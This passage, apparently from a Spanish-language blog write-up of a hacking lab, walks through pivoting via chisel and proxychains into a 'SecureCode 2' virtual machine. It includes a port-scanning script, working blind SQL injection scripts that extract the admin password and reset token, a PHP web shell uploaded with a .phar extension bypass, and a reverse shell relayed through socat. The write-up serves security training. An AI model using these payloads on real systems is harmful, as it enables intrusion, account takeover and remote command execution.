2025/08/09 09:18:32 server: session#1: Client version (1.10.1) differs from server version (0.0.0-src)
2025/08/09 09:18:32 server: session#1: tun: Created (SOCKS enabled)
2025/08/09 09:18:32 server: session#1: tun: SSH connected

Como vemos, se crea un túnel en nuestra máquina por el puerto 1080.

lsof -i:1080
COMMAND   PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
chisel  13150 root    3u  IPv4  36500      0t0  TCP localhost:socks (LISTEN)

Por tanto, con proxychains vamos a redirigir todo el tráfico por ese puerto y con eso tendríamos acceso a la otra máquina.

tail -f /etc/proxychains.conf 
#           http    192.168.39.93    8080
#
#
#       proxy types: http, socks4, socks5, raw
#         * raw: The traffic is simply forwarded to the proxy without modification.
#        ( auth types supported: "basic"-http  "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
socks4    127.0.0.1   1080

Como ven, yo tengo configurado SOCKS4; eso hay que cambiarlo a SOCKS5.

tail -f /etc/proxychains.conf
#
#
#       proxy types: http, socks4, socks5, raw
#         * raw: The traffic is simply forwarded to the proxy without modification.
#        ( auth types supported: "basic"-http  "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
#socks4    127.0.0.1   1080
socks5 127.0.0.1 1080

Ahora podemos comprobar si tenemos acceso a la máquina 192.168.100.20 (Securcode 2).

proxychains curl -I 192.168.100.20
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.20:80  ...  OK
HTTP/1.1 200 OK
Date: Sat, 09 Aug 2025 09:35:40 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Type: text/html; charset=UTF-8

Ahora, cada vez que pasemos por el proxychains, tendremos acceso a la máquina 192.168.100.20 (Securecode).

Reconocimiento - Securecode

Para empezar, vamos a crearnos nuestros directorios de trabajo.

mkdir Securecode2      
cd Securecode2 
mkdir nmap content exploit
cd nmap

Vamos a empezar con el escaneo de puertos con nmap; para ello vamos a necesitar utilizar el parámetro -sT (TCP connect scan) en lugar del -sS (TCP SYN scan).

Esto debido a que estamos utilizando proxychains.

Esto puede ir más o menos lento (debido a que los paquetes viajan por el túnel); por tanto, mejor vamos a crear un simple script en bash para detectar los puertos abiertos.

#!/bin/bash

trap ctrl_c INT

function ctrl_c(){
    echo -e "\n\n[!]Saliendo ...\n"
    exit 1
}

for i in $(seq 1 65535); do
    echo '' > /dev/tcp/192.168.100.20/$i && echo "[+] Puerto $i - Abierto"
done

También podemos subir un compilado de Nmap a la máquina víctima para hacer el reconocimiento de puertos.

Ahora subimos el archivo de bash a la máquina víctima y lo ejecutamos.

./portscan.sh 2>/dev/null
[+] Puerto 80 - Abierto

Parece que solo tiene el puerto 80 abierto; vamos a ver qué tecnologías usa con WhatWeb.

proxychains whatweb 192.168.100.20                         
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 
[proxychains] DLL init: proxychains-ng 
[proxychains] DLL init: proxychains-ng 
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.20:80  ...  OK
http://192.168.100.20 [200 OK] Apache[2.4.29], Bootstrap, Country[RESERVED][ZZ], Email[ex@abc.xyz], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[192.168.100.20], JQuery[3.2.1], Script, Title[Coming Soon 2]

Vemos un Apache, la versión y Ubuntu y poco más.

Para ver la web desde nuestro navegador, hay que pasar por el proxychains; esto lo podemos hacer con un addon; yo, como uso Firefox, voy a utilizar FoxyProxy.

Simplemente descargan el addon y luego lo abren, luego le dan proxy y agregar.

Definen el nombre, el tipo socks5, el host, que es el localhost, y el puerto, en este caso 1080.

Luego, en la sección de addons, cuando seleccionen FoxyProxy, verán el nuevo y lo seleccionan.

Ahora, cuando pongan la IP de la máquina (Securecode), verán la web.

Se ve una cuenta regresiva; la página parece que está en desarrollo.

Buscando manualmente por rutas comunes, me encuentro que tiene el robots.txt y que existe un supuesto /login. Vamos a ver.

Y parece ser un panel de inicio de sesión; está en .php; importante tenerlo en cuenta.

Vemos una zona que dice Forgot Your Password?, que muestra lo siguiente.

Esto es peligroso, ya que podríamos intentar enumerar usuarios válidos.

Y sí tenemos posibilidad de enumerar usuarios, y sabemos que el usuario admin existe.

Si hacemos Ctrl+Shift+C, y nos vamos a Network y colocamos un usuario que no existe, podemos ver cómo se tramita la petición.

Vemos que viaja por POST a resetPassword.php y como POST data envía username=<usuario>.

Con esto podemos hacer un ataque de fuerza bruta para enumerar más usuarios en el caso de que existan.

Antes de nada, vamos a realizar fuzzing con Wfuzz, para no ir tan rápido y no saturar el túnel.

proxychains wfuzz --hc 404 -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt http://192.168.100.20/FUZZ 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.100.20/FUZZ
Total requests: 220559

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                              
=====================================================================

000000001:   200        102 L    251 W      3650 Ch     "# directory-list-2.3-medium.txt"                    
000000007:   200        102 L    251 W      3650 Ch     "# license, visit http://creativecommons.org/licenses
                                                        /by-sa/3.0/"                                         
000000003:   200        102 L    251 W      3650 Ch     "# Copyright 2007 James Fisher"                      
000000014:   200        102 L    251 W      3650 Ch     "http://192.168.100.20/"                             
000000012:   200        102 L    251 W      3650 Ch     "# on at least 2 different hosts"                    
000000006:   200        102 L    251 W      3650 Ch     "# Attribution-Share Alike 3.0 License. To view a cop
                                                        y of this"                                           
000000008:   200        102 L    251 W      3650 Ch     "# or send a letter to Creative Commons, 171 Second S
                                                        treet,"                                              
000000009:   200        102 L    251 W      3650 Ch     "# Suite 300, San Francisco, California, 94105, USA."
000000010:   200        102 L    251 W      3650 Ch     "#"                                                  
000000005:   200        102 L    251 W      3650 Ch     "# This work is licensed under the Creative Commons" 
000000011:   200        102 L    251 W      3650 Ch     "# Priority ordered case-sensitive list, where entrie
                                                        s were found"                                        
000000013:   200        102 L    251 W      3650 Ch     "#"                                                  
000000002:   200        102 L    251 W      3650 Ch     "#"                                                  
000000004:   200        102 L    251 W      3650 Ch     "#"                                                  
000000053:   301        9 L      28 W       316 Ch      "login"                                              
000000086:   301        9 L      28 W       318 Ch      "profile"                                            
000000202:   301        9 L      28 W       316 Ch      "users"                                              
000000694:   301        9 L      28 W       315 Ch      "item"                                               
000001112:   301        9 L      28 W       318 Ch      "include"

Vemos un par de recursos, pero nos pide iniciar sesión primero.

Vamos a buscar archivos con extensión .php.

Pero no encuentra nada. Con la misma técnica que vimos, como se tramitan los datos a resetPassword.php, podemos ver cómo se tramitan los datos hacia login.php.

Esto con el fin de hacer fuerza bruta y ver si encontramos la contraseña de admin. Que sabemos que existe.

Vemos que se envían a checkLogin.php como username=<username>&password=<password>.

Pero no encuentra nada.

Para analizar las cosas con Burp Suite, hay que habilitar la configuración en el Burp Suite de SOCKS.

Luego de irnos a Settings en proxy, nos vamos a NetworkConnections y veremos el SOCKS proxy.

Donde, luego de configurarlo por el puerto 1080 por el localhost, ya funcionará el Burp Suite.

Luego de una pequeña enumeración de usuarios, encuentro otro.

wfuzz -c -p 127.0.0.1:1080:SOCKS5 -w /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -u http://192.168.100.20/login/resetPassword.php -d "username=FUZZ" 2>/dev/null -L --hw 88 
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.100.20/login/resetPassword.php
Total requests: 8295455

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                              
=====================================================================

000000002:   200        53 L     113 W      2323 Ch     "admin"                                              
000003766:   200        53 L     113 W      2323 Ch     "customer"

En este caso utilizamos el parámetro -p de wfuzz para pasar por el túnel. Vemos al usuario customer.

Después de enumerar un largo rato, decido probar extensiones comunes hasta que me encuentro con lo siguiente.

wfuzz --hc 404 -p 127.0.0.1:1080:SOCKS5 -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.100.20/FUZZ.zip
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.100.20/FUZZ.zip
Total requests: 220559

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                              
=====================================================================

000000001:   200        102 L    251 W      3650 Ch     "# directory-list-2.3-medium.txt"                    
000000007:   200        102 L    251 W      3650 Ch     "# license, visit http://creativecommons.org/licenses
                                                        /by-sa/3.0/"                                         
000000003:   200        102 L    251 W      3650 Ch     "# Copyright 2007 James Fisher"                      
000000006:   200        102 L    251 W      3650 Ch     "# Attribution-Share Alike 3.0 License. To view a cop
                                                        y of this"                                           
000000004:   200        102 L    251 W      3650 Ch     "#"                                                  
000000005:   200        102 L    251 W      3650 Ch     "# This work is licensed under the Creative Commons" 
000000002:   200        102 L    251 W      3650 Ch     "#"                                                  
000000008:   200        102 L    251 W      3650 Ch     "# or send a letter to Creative Commons, 171 Second S
                                                        treet,"                                              
000000013:   200        102 L    251 W      3650 Ch     "#"                                                  
000000012:   200        102 L    251 W      3650 Ch     "# on at least 2 different hosts"                    
000000009:   200        102 L    251 W      3650 Ch     "# Suite 300, San Francisco, California, 94105, USA."
000000011:   200        102 L    251 W      3650 Ch     "# Priority ordered case-sensitive list, where entrie
                                                        s were found"                                        
000000010:   200        102 L    251 W      3650 Ch     "#"                                                  
000058434:   200        19782    194583 W   4996685 C   "source_code"

Vemos que existe un source_code.zip.

Vamos a descargarlo para ver qué contiene.

proxychains wget http://192.168.100.20/source_code.zip
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 
--2025-08-09 19:35:39--  http://192.168.100.20/source_code.zip
Connecting to 192.168.100.20:80... [proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.20:80  ...  OK
connected.
HTTP request sent, awaiting response... 200 OK
Length: 5275298 (5.0M) [application/zip]
Saving to: ‘source_code.zip’

source_code.zip               100%[===============================================>]   5.03M  5.53MB/s    in 0.9s    

2025-08-09 19:35:40 (5.53 MB/s) - ‘source_code.zip’ saved [5275298/5275298]
7z x source_code.zip
ls
asset  db.sql  include  index.php  item  login  profile  robots.txt  source_code.zip  users

Vemos un db.sql; vamos a ver su contenido.

cat db.sql
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+02:00";


CREATE TABLE `item` (
  `id` int(5) NOT NULL,
  `id_user` int(5) NOT NULL,
  `name` varchar(50) NOT NULL,
  `description` varchar(250) NOT NULL,
  `imgname` varchar(250) NOT NULL,
  `price` int(10) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;


INSERT INTO `item` (`id`, `id_user`, `name`, `description`, `imgname`, `price`) VALUES
(1, 1, 'Raspery Pi 4', 'Latest Raspberry Pi 4 Model B with 2/4/8GB RAM raspberry pi 4 BCM2711 Quad core Cortex-A72 ARM v8 1.5GHz Speeder Than Pi 3B', '1.png', 92),
(2, 1, 'ALFA WIFI Adapter', 'ALFA WIFI Adapter', '2.png', 12),
(3, 1, 'Mask', 'Mask', '3.jpg', 22),
(4, 1, 'T-Shirt', 'Anonymous Quote T Shirt Fake Society Funny Hacker Parody Guy Fawkes Unisex Tee Style Round Tee Shirt', '4.jpg', 7);


CREATE TABLE `level` (
  `id` int(5) NOT NULL,
  `name` varchar(10) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;


INSERT INTO `level` (`id`, `name`) VALUES
(1, 'admin'),
(2, 'user');


CREATE TABLE `user` (
  `id` int(5) NOT NULL,
  `username` varchar(50) NOT NULL,
  `password` varchar(50) NOT NULL,
  `email` varchar(100) NOT NULL,
  `gender` varchar(10) NOT NULL,
  `id_level` int(5) NOT NULL,
  `token` varchar(50) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;


INSERT INTO `user` (`id`, `username`, `password`, `email`, `gender`, `id_level`, `token`) VALUES
(1, 'admin', '24b97b1ec42a3deace58636148135f7d', 'admin@hackshop.com', 'Male', 1, ''),
(2, 'customer', '355509442720e7eaa27d4e2fc8abe95a', 'customer@hackshop.com', 'Female', 2, '');


ALTER TABLE `item`
  ADD PRIMARY KEY (`id`),
  ADD KEY `id_user` (`id_user`);


ALTER TABLE `level`
  ADD PRIMARY KEY (`id`);


ALTER TABLE `user`
  ADD PRIMARY KEY (`id`),
  ADD KEY `id_level` (`id_level`);


ALTER TABLE `item`
  MODIFY `id` int(5) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=10;


ALTER TABLE `user`
  MODIFY `id` int(5) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5;


ALTER TABLE `item`
  ADD CONSTRAINT `item_ibfk_1` FOREIGN KEY (`id_user`) REFERENCES `user` (`id`) ON DELETE CASCADE ON UPDATE CASCADE;


ALTER TABLE `user`
  ADD CONSTRAINT `user_ibfk_1` FOREIGN KEY (`id_level`) REFERENCES `level` (`id`) ON DELETE CASCADE ON UPDATE CASCADE;
COMMIT;

Vamos los dos usuarios que descubrimos con sus emails y sus contraseñas.

Vamos a revisar el resto de archivos si encontramos cosas interesantes.

Revisando los archivos .php, me encuentro info interesante revisando el resetPassword.php.

<?php }


function generateToken(){
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < 15; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
}

function send_email($username, $token){

    $message = "Hello ".htmlentities($username).",\n";
    $message .= "Please follow the link below to reset your password: \n";
    $message .= "http://".gethostname()."/doResetPassword.php?token=$token \n";
    $message .= "Thanks.\n";

    // get user email
    $data = mysqli_query($conn, "SELECT * FROM user WHERE username='$username'");
    while($result= mysqli_fetch_array($data)){
        $email = $result['email'];
    }
    @mail($email, "Reset Your Password", $message);

}

?>

Esta es la parte importante; vemos dos funciones, una generateToken() y send_mail().

Al parecer, el token que nos envían por correo se calcula dentro del mismo resetPassword.php y en send_mail() vemos cómo se tramita la petición y a dónde, en este caso doResetPassword.php.

Si miramos el doResetPassword.php, encontramos lo siguiente:

cat doResetPassword.php
<?php

include "../include/header.php";

$p_token = $_GET['token'];

$data = mysqli_query($conn, "SELECT * FROM user");
$tokens = [];
while($result = mysqli_fetch_array($data)){
    array_push($tokens, $result['token']);
}

if(ctype_alnum($p_token) AND in_array($p_token, $tokens)){

?>

<div class="container">
        <br><br><br><br><br>
        <div class="alert alert-success  fade in">    
            <strong>Success! </strong> Valid Token Provided, you can change your password below <button type="button" class="close" data-dismiss="alert" aria-label="Close">
                <span aria-hidden="true">×</span>
            </button>
        </div>
        <div class="col-md-3">

        </div>
            <form action="doChangePassword.php" method="POST" class="form-horizontal col-md-6">
                <div class="panel panel-primary">
                    <div class="panel-heading">
                        <center>Change Your Password</center>
                    </div>
                    <div class="panel-body">
                        <input type="hidden" name="token" value="<?php echo htmlentities($p_token); ?>">
                        <div class="form-group">
                            <label class="control-label col-sm-2" for="password">New Password</label>
                            <div class="col-sm-10">
                                <input type="password" name="password" class="form-control" id="password" placeholder="Enter password">
                            </div>

                        </div>
                        <input type="submit" value="Change Password" class="btn btn-primary">
                    </div>
                </div>
            </form>
        <div class="col-md-3">

        </div>
    </div>

<?php 

}

Si miramos el último archivo que nos falta, que es el de doChangePassword.php, vemos lo siguiente:

cat doChangePassword.php
<?php

include "../include/header.php";

$p_token = mysqli_real_escape_string($conn, $_REQUEST['token']);
$password = mysqli_real_escape_string($conn, $_REQUEST['password']);

if(isset($p_token, $password) and ctype_alnum($p_token) and $password !== ''){

    $data = mysqli_query($conn, "SELECT * FROM user");
    $tokens = [];
    while($result = mysqli_fetch_array($data)){

        array_push($tokens, $result['token']);

    }

    if(in_array($p_token, $tokens)){

        $hash = md5($password);
        $x = mysqli_query($conn, "UPDATE user SET password = '$hash' WHERE token = '$p_token'");
        $y = mysqli_query($conn, "UPDATE user SET token = '' WHERE token = '$p_token'");

        if($x and $y){
            $_SESSION['status']=" Password Changed";
        }else{
            $_SESSION['danger']=" Failed to change password";
        }

        header("Location: login.php");
        die();

    }else{

        $_SESSION['danger'] = " Invalid password reset link.";
        header("Location: ../login/resetPassword.php");
        die();

    }

}else{

    $_SESSION['danger'] = " Invalid Token Provided.";
    header("Location: login.php");

}

?>

Ahí vemos que hace la comparativa del token y luego limpia el token en caso de existir en la base de datos y luego cambia la contraseña por la nueva.

Revisando el código, veo que la mayoría de peticiones utiliza la siguiente función de MySQL: mysqli_real_escape_string. Esto lo que hace es escapar ciertos caracteres que pueden utilizarse para realizar un SQLI.

Pero revisando veo que en la carpeta item el viewItem.php lo utiliza, pero hay un error.

cat viewItem.php
<?php

// Still under development
session_start();
ini_set("display_errors", 0);
include "../include/connection.php";

// see if user is authenticated, if not then redirect to login page
if($_SESSION['id_level'] != 1){

    $_SESSION['danger'] = " You not have access to visit that page";
    header("Location: ../login/login.php");

}
// only for users with level 1 (admins)
// prevent SQL injection
$id = mysqli_real_escape_string($conn, $_GET['id']);
$data = mysqli_query($conn, "SELECT * FROM item WHERE id = $id");
$result = mysqli_fetch_array($data);

//var_dump($result);
if(isset($result['id'])){
    http_response_code(404);
}


?>

Como se puede ver, es verdad que se utiliza mysqli_real_escape_string en el $id, pero a la hora de realizar la query, no utiliza comillas o comillas simples. $data = mysqli_query($conn, "SELECT * FROM item WHERE id = $id");

Entonces nosotros podemos inyectar queries evitando utilizar comillas o comillas simples, pero concatenando otra query, debido a que podemos manipular el input.

Debido a que sabemos la estructura, gracias a este backup, es más sencillo crear un script para ir enumerando la base de datos.

proxychains curl -I "http://192.168.100.20/item/viewItem.php" -G --data-urlencode "id=5 or (select(select ascii(substring(username,1,1)) from user where id_level = 1)=97);"
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.20:80  ...  OK
HTTP/1.1 404 Not Found
Date: Sun, 10 Aug 2025 19:58:51 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=bh5v9n39i3v0amr63p5842inkq; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: ../login/login.php
Content-Type: text/html; charset=UTF-8
proxychains curl -I "http://192.168.100.20/item/viewItem.php" -G --data-urlencode "id=5 or (select(select ascii(substring(username,1,1)) from user where id_level = 1)=98);"
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.100.20:80  ...  OK
HTTP/1.1 302 Found
Date: Sun, 10 Aug 2025 19:58:54 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=3u8m9l0sgn4g3g9v23jhkbmjtb; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: ../login/login.php
Content-Type: text/html; charset=UTF-8

Esto es un pequeño ejemplo, id=5 or (select(select ascii(substring(username,1,1)) from user where id_level = 1)=98);, en esta parte, enviamos un id 5, y con or agregamos otra query.

Debido a que no podemos usar comillas, utilizamos ASCII, que nos permite representar los caracteres en formato ASCII; en este caso nos apoyamos en el id_level, ya que sabemos que existen dos usuarios, y el primero es admin.

Debido a que en ASCII la “a” minúscula es 97. Al igualarlo a 98, la respuesta es un código redirect (302), pero al igualarlo a 97, es un código de error (404).

Gracias a este concepto, podemos crear un script que nos enumere la base de datos.4

#!/usr/bin/python3

from pwn import *

import requests, signal, sys, string


def def_handler(sig, frame):
    print("\n\n[!] Saliendo ...\n")
    sys.exit(1)

# Ctrl+c

signal.signal(signal.SIGINT, def_handler)

# Var globales

proxies = {
        'http': f'socks5://127.0.0.1:1080'
}
main_url = "http://192.168.100.20/item/viewItem.php"

characters = string.ascii_lowercase

def makeSqli():

    p1 = log.progress("Fuerza Bruta")
    p1.status("Iniciando ataque de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("Username")

    username =  ""

    for position in range(1,50):
        for character in characters:

            sqliURL = main_url + "?id=5 or (select(select ascii(substring(username,%d,1)) from user where id_level = 1)=%d);" % (position, ord(character))

            r = requests.get(sqliURL, proxies=proxies)

            if r.status_code == 404:
                username += character
                p2.status(username)
                break

if __name__ == '__main__':

    makeSqli()

Tenemos que definir el proxy también a la hora de tramitar la petición; de lo contrario, no podremos llegar a la máquina SecureCode.

python3 exploit.py
[┴] Fuerza Bruta: Iniciando ataque de fuerza bruta
[O] Username: admin
^C

[!] Saliendo ...

Para enumerar la contraseña, simplemente cambiamos los campos de username en el script por password.

python3 exploit.py
[ ] Fuerza Bruta: Iniciando ataque de fuerza bruta
[◣] password: unaccessableuntilyouchangeme
^C

[!] Saliendo ...

Bueno, vemos la contraseña de admin; vamos a probarla para ver si funciona.

Vemos que no nos deja, nos está diciendo que no podemos acceder hasta que cambiemos la contraseña, unaccessableuntilyouchangeme, debido a que conocemos la estructura de la web y la base de datos.

Podemos enumerar el token y enviarlo para cambiar la contraseña del usuario admin.

Debido a que conocemos que el token puede ser mayúsculas y minúsculas y números. Hay que volver a modificar el script.

#!/usr/bin/python3

from pwn import *

import requests, signal, sys, string


def def_handler(sig, frame):
    print("\n\n[!] Saliendo ...\n")
    sys.exit(1)

# Ctrl+c

signal.signal(signal.SIGINT, def_handler)

# Var globales

proxies = {
        'http': f'socks5://127.0.0.1:1080'
}
main_url = "http://192.168.100.20/item/viewItem.php"

characters = string.ascii_letters + string.digits

def makeSqli():

    p1 = log.progress("Fuerza Bruta")
    p1.status("Iniciando ataque de fuerza bruta")

    time.sleep(2)

    p2 = log.progress("token")

    token =  ""

    for position in range(1,50):
        for character in characters:

            sqliURL = main_url + "?id=5 or (select(select ascii(substring(token,%d,1)) from user where id_level = 1)=%d);" % (position, ord(character))

            r = requests.get(sqliURL, proxies=proxies)

            if r.status_code == 404:
                token += character
                p2.status(token)
                break

if __name__ == '__main__':

    makeSqli()
python3 exploit.py
[......\.] Fuerza Bruta: Iniciando ataque de fuerza bruta
[▇] token: P2rmqwDPXxpwNxC
^C

[!] Saliendo ...

Y ahí tenemos el token del usuario admin; vamos a ver si le podemos cambiar la contraseña.

Y podemos cambiar la contraseña a admin, por tanto, vamos a ponerle cualquiera, por ejemplo, test.

Vamos a probar si nos podemos logear en la página web.

Y logramos conectarnos a la página web como el usuario admin.

Mirando a lo que tenemos acceso, me encuentro lo siguiente.

En Items vemos que podemos editar ciertos objetos que vemos en la web si le damos a editar o agregar un nuevo item; vamos a intentar agregar un nuevo item.

Vemos que nos deja elegir una imagen para el ítem; esto puede ser peligroso debido a que no se está validando correctamente qué archivos se suben a la máquina. Podríamos subir un .php malicioso para ganar acceso a la máquina.

<?php
    echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>

Voy a guardarlo como cmd.php e intentarlo subir.

Pero vemos que no nos deja, debido a que tenemos la estructura del código web. Podemos ver qué validaciones se están aplicando.

cat newItem.php
<?php 

include "../include/header.php";
include "../include/isAuthenticated.php";

$id_user = mysqli_real_escape_string($conn, $_POST['id_user']);
$name = mysqli_real_escape_string($conn, $_POST['name']);
$imgname = mysqli_real_escape_string($conn, $_FILES['image']['name']);
$description = mysqli_real_escape_string($conn, $_POST['description']);
$price = mysqli_real_escape_string($conn, $_POST['price']);

$blacklisted_exts = array("php", "phtml", "shtml", "cgi", "pl", "php3", "php4", "php5", "php6");
$mimes = array("image/jpeg", "image/png", "image/gif");

Vemos que valida ciertas extensiones, pero hay varias que interpretan código .php y no están contempladas, como el .phar; por tanto, le cambiamos el nombre del archivo a cmd.phar y probamos.

Probando, no me deja agregar el nuevo ítem, pero sí modificar uno existente. Que a fines prácticos es lo mismo.

Por tanto, si hacemos clic derecho y lo abrimos en otra pestaña para ver la ubicación y utilizamos la web ?cmd=<command> nos lo ejecuta.

Por tanto, tenemos ejecución de comandos; ahora podemos enviarnos una consola a nuestra máquina. Pero debido a que no tenemos acceso directamente, tenemos que hacer unos pasos extra.

Primero que nada vamos a necesitar usar → socat.

Socat es una herramienta que nos permite redirigir todo el tráfico que va hacia un puerto a otra IP en un puerto, entre otras cosas.

Entonces nosotros, desde el cmd.php, vamos a enviar una reverse shell a la máquina crossroads, donde vamos a tener el socat redirigiendo el tráfico hacia nuestra IP a un puerto.

Primero vamos a subir el binario socat a la máquina crossroads.

python3 -m http.server 80                                 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
root@crossroads:/root# wget http://192.168.0.6/socatx64.bin
root@crossroads:/root# chmod +x socatx64.bin
root@crossroads:/root# ./socatx64.bin TCP4-LISTEN:4446,fork TCP4:192.168.0.6:4446

En este comando, estamos redirigiendo el tráfico entrante en la máquina Crossroads hacia nuestra IP por el puerto 4446; por tanto, ahora la reverse shell la tenemos que enviar a Crossroads y ponernos en escucha con nc en nuestra máquina atacante por el puerto 4446 en este caso.

pwncat-cs :4446

Recuerden que tenemos que pasar por el proxy (en este caso con FoxyProxy) y tenemos que utilizar la IP a la que la máquina tiene acceso, en este caso la 192.168.100.x, y urlencodear los & a %26 para que funcione.

pwncat-cs :4446          
[11:39:44] Welcome to pwncat 🐈!                                                                       __main__.py:164
[11:42:43] received connection from 192.168.0.26:38706                                                      bind.py:84
[11:42:43] 192.168.0.26:38706: registered new host w/ db
(remote) www-data@secure:/var/www/html/item/image$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:87:c3:59 brd ff:ff:ff:ff:ff:ff
    inet 192.168.100.20/24 brd 192.168.100.255 scope global noprefixroute enp0s3
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe87:c359/64 scope link 
       valid_lft forever preferred_lft forever
3: enp0s8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:03:9e:5b brd ff:ff:ff:ff:ff:ff
    inet 192.168.200.10/24 brd 192.168.200.255 scope global noprefixroute enp0s8
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe03:9e5b/64 scope link 
       valid_lft forever preferred_lft forever

Como ven, el túnel con socat funcionó, y estamos en la máquina Securecode como www-data.

Esta máquina no tiene contemplado que escalemos privilegios, por tanto, hasta aquí llega el laboratorio.

Comentarios - Securecode

La verdad, siempre que me quedo atorado es porque no sé enumerar bien y esta máquina lo demuestra. Probé varias cosas, pero se me olvidó mirar las extensiones comunes como .bak o .zip y, luego de tener el código de cómo funciona la web, fue más sencillo. Para practicar SQLI, una máquina bastante buena, la verdad.

Conclusiones

Laboratorio algo extenso y solo son dos máquinas, pero lo importante es aprender temas de pivoting y cómo manejar estas herramientas para poder moverse entre interfaces de redes y máquinas donde primeramente no tenemos acceso.

Ya sabéis que cualquier cosa, me pueden dejar un comentario o contactarme por Discord como Varovish.

0
Subscribe to my newsletter

Read articles from Dh89 directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Dh89
Dh89

Soy un entusiasta de la ciberseguridad,disc -> Varovish/varovish